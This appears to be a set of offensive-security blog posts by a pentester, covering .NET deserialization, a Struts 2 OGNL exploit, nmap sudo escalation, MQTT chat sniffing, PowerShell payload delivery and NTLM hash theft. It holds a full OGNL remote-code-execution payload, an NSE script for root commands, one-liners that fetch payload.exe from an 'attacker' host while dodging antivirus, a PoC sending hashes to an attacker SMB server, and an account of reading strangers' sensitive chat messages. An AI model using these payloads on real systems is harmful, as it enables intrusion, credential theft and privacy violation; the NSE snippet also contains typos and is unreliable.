A unique adventure of detection and exploitation in unsafe .NET object deserialization

On a recent pentest I came across a fun vulnerability that took me down a rabbit hole and I am dragging you with me! As always, I was using Firefox, burp pro, and a slim docker image of kali. While doing stuff burp pointed out that it saw base64 encoded data in a post request. Then it started giving false positives on java deserialization issues in a __VSX post var.

First its Apache commons collections, beanutils, then java 8. I knew none of this could be true as it’s not a java project, but just to be on the safe side I loaded up ysoserial and ran a few tests, with nothing to show. I was however seeing error messages in the responses that was telling me .NET deserialization was happening.

Error: System.ArgumentException: The serialized data is invalid.

So I got, what was thought to be valid serialized data, and attempted to decode it. Doing a base64 decode gave me gzip data, so I unzipped the data and was left with something that indeed looked like a .NET object.

Then I looked at YSoSerial.NET to help build payloads and I still needed to know what type of payload to use as it had many to choose from. Rather than brute force I wanted to verify what type of vuln I was looking at. So the framework seems to use secure viewstate functionality, because the burp extensions I was using for viewstate decoding was telling me that the view state data is secure, but this data was easily decoded and looked like page state type information. Also, the parameters name seemed to be  custom and the viewstate burp decoders would not be look for it. So, I had to find a way to ensure the __VSX param data was in fact valid viewstate data. I had to find a viewstate validator that takes individual input to verify I had viewstate data, luckily there are a number to choose from so that was easy. One thing most have in common is that they do not take gziped data, this was a little annoying. Doing all this allowed me to determine I need to use the TypeConfuseDelegate gadget chain and ObjectStateFormatter formatter to make payloads with YSoSerial.NET.

I took the above and, debase64 encoded it, gzipped it, rebase64 encoded it, url encoded special chars, stuffed all that in the __VSX post param and submitted. Checked burp collaborator client window a few seconds later and had a connection from the applications systems that gave me the username being used on the system by the application. 

 W00t! 

Well almost, next steps would have been to get a full functional shell and priv esc. I didn’t have time to get that far, and I have already been detected at this point. I don’t know for sure if it was my playing around or the exploit itself, so given more time to hack with I might be able to get RCE undetected, we will never know.

I think this vuln exists because the devs needed special data pushed to the app that was not available in the cookie cute viewstate data functions, so they created their own with no regard to current viewstate protections. I don’t know if I will ever see anything like this again and it was beautiful!  

I have never come across anything like this, it was a challenge and pleasure for me to explore. Some of the tools and techniques used were new for me and this all took a few days to work out despite the condensed version above. I hope you enjoyed my blundering with this vulnerability, and I hope it helps you in some way. Happy hacking.

Playing with Struts 2 vulns

 

If you don’t already have docker, get it, you will need it for this. You will also need Burp pro.

Go get apache-sturts2-CVE-2017-5638 docker image.

docker pull piesecurity/apache-struts2-cve-2017-5638

Expose localhost:8080 for that docker and run

Open your browser to http://localhost:8080/integration/saveGangster.action

Set Gangster Name to ${2+2} or %{2+2}

Age to 69 (dynamic)

Submit

On reload you will see “Gangster 4 added successfully”

Now we know we have injection!

Burp can help confirm with a bit more info to help along to exploit.

View from Burp dashboard:

Now lets look at getting that RCE.

We can start with a nice simple exploit, so open burp, make an easy POST request to the app, send it to 

repeater and start with this payload found at https://github.com/PrinceFPF/CVE-2019-

0230/blob/master/CVE-2019-0230.sh:

$(echo "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=

#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#contai

ner.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNa

mes().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(

#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'c

md.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new 

java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apac

he.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils

@copy(#process.getInputStream(),#ros)).(#ros.flush())}

URL encode the whole thing and submit.

You should get a response like:

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Date: Thu, 25 Feb 2021 19:45:34 GMT

Connection: close

Content-Length: 39

uid=0(root) gid=0(root) groups=0(root)

w00t!!1

Here is a look at the code in play here (/usr/local/tomcat/webapps/ROOT/WEBINF/src/java/org/apache/struts2/showcase/integration/SaveGangsterAction.java):

package org.apache.struts2.showcase.integration;

import org.apache.struts.action.*;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

public class SaveGangsterAction extends Action {

 /* (non-Javadoc)

 * @see org.apache.struts.action.Action#execute(org.apache.struts.action.ActionMapping, 

org.apache.struts.action.ActionForm, javax.servlet.http.HttpServletRequest, 

javax.servlet.http.HttpServletResponse)

 */

 @Override

 public ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest 

request, HttpServletResponse response) throws Exception {

 // Some code to save the gangster to the db as necessary

 GangsterForm gform = (GangsterForm) form;

 ActionMessages messages = new ActionMessages();

 messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " added 

successfully"));

 addMessages(request, messages);

 return mapping.findForward("success");

 }

}

The payload from the name variable in the POST request is stuffed into gform, which gets put inside an 

action message which evals it as Object-Graph Navigation Language (OGNL), p00f RCE. So if doing a 

source code review look for new ActionMessages(); and see how its being used.

This was built for CVE-2017-5638, but as you can see payloads for CVE-2019-0230 work as well so play around with both.

You can take it from here. Happy attacking!

NMAP nse script to run system cmds "in case of sudo"

On some recent research I found a system that had nmap and it was set up in sudoers! I know I thought that never happen in real life! It was a new version of nmap that didnt have the 'ol -i flag we see in the old priv esc guides, but I figured I could use an nse script to make system calls. A quick google and a few minutes later I had a working nse script that did the job. 

Here is the script:

os.execute("id") #replace with any cmd you like, i used id to verify r00t

portrule = fucntion()

end

action = fucntion()

end

save to /tmp/ and run like so:

sudo nmap --script=/tmp/hax0r.nse

and profit?

Snooping Applozic chat messages via MQTT

I was surfing the web learning about MQTT when I came across something very interesting and started digging. So here is how I was able to sniff Applozic chat messages and download images being sent, and any files being sent to a client or chat user.

Lets start with what Applozic is. Their website say's, "We built Applozic for creators like you so that you don’t have to reinvent the wheel. Applozic provides a comprehensive set of Chat SDKs and easy-to-use APIs so that you can build and iterate quickly. Running on the cloud, the infrastructure is always available, continuously upgraded and auto-scales to meet your needs". So its a "cloud" based chat system that ppl can put in phone apps, web sites, etc. that some people are setting up and making bots to automate support for their service or product. It is using MQTT for the back end message delivery.

Now we will talk about MQTT. Their website says, "MQTT is a machine-to-machine (M2M)/"Internet of Things" connectivity protocol. It was designed as an extremely lightweight publish/subscribe messaging transport. It is useful for connections with remote locations where a small code footprint is required and/or network bandwidth is at a premium. For example, it has been used in sensors communicating to a broker via satellite link, over occasional dial-up connections with healthcare providers, and in a range of home automation and small device scenarios. It is also ideal for mobile applications because of its small size, low power usage, minimised data packets, and efficient distribution of information to one or many receivers". So its a messaging protocol for IoT devices. Looking around on shodan reviles most of the systems out there are just that, IoT devices. As far as I can tell most of them are home automation type systems. MQTT does offer authentication, but isn't used much including with Applozic.

Now back to Applozic. In most cases I found of this app being used in the wild is some type of chat support bot so no initial auth is required, but some are using a local auth mechanism to use the chat. For devs to use the API they do give out a API key. All of these apps are using the API which uses MQTT for back end message handling which isn't using authentication.

All of this leads to being able to sniff chat messages. I found a nice MQTT explorer online and pointed it at one of Applozic's MQTT servers and the messages came rolling in from all over the globe. Some of these messages had very sensitive information in them. I mean VERY sensitive!

Next step might be trying to publish to some of the titles, but that is another project.

To resolve this they are going to have to start using that API key as bilateral authentication with MQTT.

Applozic's implementation of MQTT seems to be unique, but they are not the only ones using it for human to human or human to bot communications. All of them have the same issue, unauthenticated access to MQTT allowing for anyone to see the convos. Also seen a few systems using MQTT to transfer XML payloads which was odd and likely open to XXE. Thats it, go explore and have fun!

Two useful powershell cmds

Download bin:

powershell -exec bypass -c Invoke-WebRequest -Uri http://attacker/payload.exe -OutFile c:\Users\Public\Documents\payload.exe #wrap the execution of payload.exe in a batch file called start.cmd and "download" it to target as well.

Execute bin:

powershell -exec bypass -c Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList c:\Users\Public\Documents\start.cmd

The powershell got around most AVs and combo of the batch file and ps cmd the payload should run on its own, no matter how you managed code execution on the target. Persistence is the next todo.

Nabbing NTLM Hashes With DataLocker Sentry ONE Managed USB Drives

The DataLocker Sentry ONE Managed USB drive is a great, affordable, secure self encrypting device. It features AES256 full disk encryption with built in management software that includes a anti-malware scanner. It does how ever have at least one feature that if exploited can lead to the users NTLM hashes being sent to any address the attacker chooses.

I found that the DataLocker Simply Secure device management software can be used to send the current users NTLM hash to any remote server an attacker chooses with no interaction from the user and without the users knowledge. The user simply has to run the unlock software and input the correct password, which auto launches the management software, triggering a SMB call.

This vulnerability depends on an insider threat or malware. You could drop these in a parking lot and put the password in the cap on a small piece or paper or something. Because its password protected, people might be more likely to want to check it out.

PoC:
Set up SMB server to prompt for domain credentials on connect. (Metasploit: auxiliary/server/capture/smb)
Edit management software config to include path to SMB server as an app. (Drive Letter:\.Apps\.apps.db)
Add content after AdditionalApplications tag:
                < Appl>
                                < Identifier>0< /Identifier>
                                < AppPath>\\attack.machine\< /AppPath>
                                < Args></ Args>
                                < IconPath></ IconPath>
                                < DisplayName></ DisplayName>
                                < Summary></ Summary>
                                < Url></ Url>
                                < InternalVersion>0< /InternalVersion>
                                < OS>0</ OS>
                < /Appl>
"Remove spaces"
Close and relock device. Move to another computer or re-run unlock software.
Authenticate to device, triggering SMB request.
View Metasploit for NTLM hash.

Why they would allow this, or just didn't think of it when they were developing the software, I dont know.

Knopflerf*ck tool - A Knopflerfish attack tool

Knopflerf*ck tool is a little script I made to attack the Knopflerfish Framework. It currently will scan a host for the presence of the Knopflerfish Framework and then run a quick enum of a few its services like http server and remote framework functionality, and a known XSS in its http console. It can also generate a reverse shell connection payload and upload/execute it if the remote framework is exposed.

KFT usage and "modes"
Mode 1 runs an enum scan
-Checks for default bundle info, HTTPConsole, and if the remote framework is running
-Usage: python knopflerfucktool.py 1
Mode 2 outputs a payload to upload however you like
-Usage: python knopflerfucktool.py 2
-This mode also makes the payload needed for mode 3
-Requires openJDK 1.8.0 and Eclipse Equinox (eceq.jar)
Mode 3 uses the KF Remote Framework to upload and run a payload
-Usage: python knopflerfucktool.py 3
-This mode needs the payload from mode 2
-The payload needs to be host on the web root of http://:/

Get it at GitHub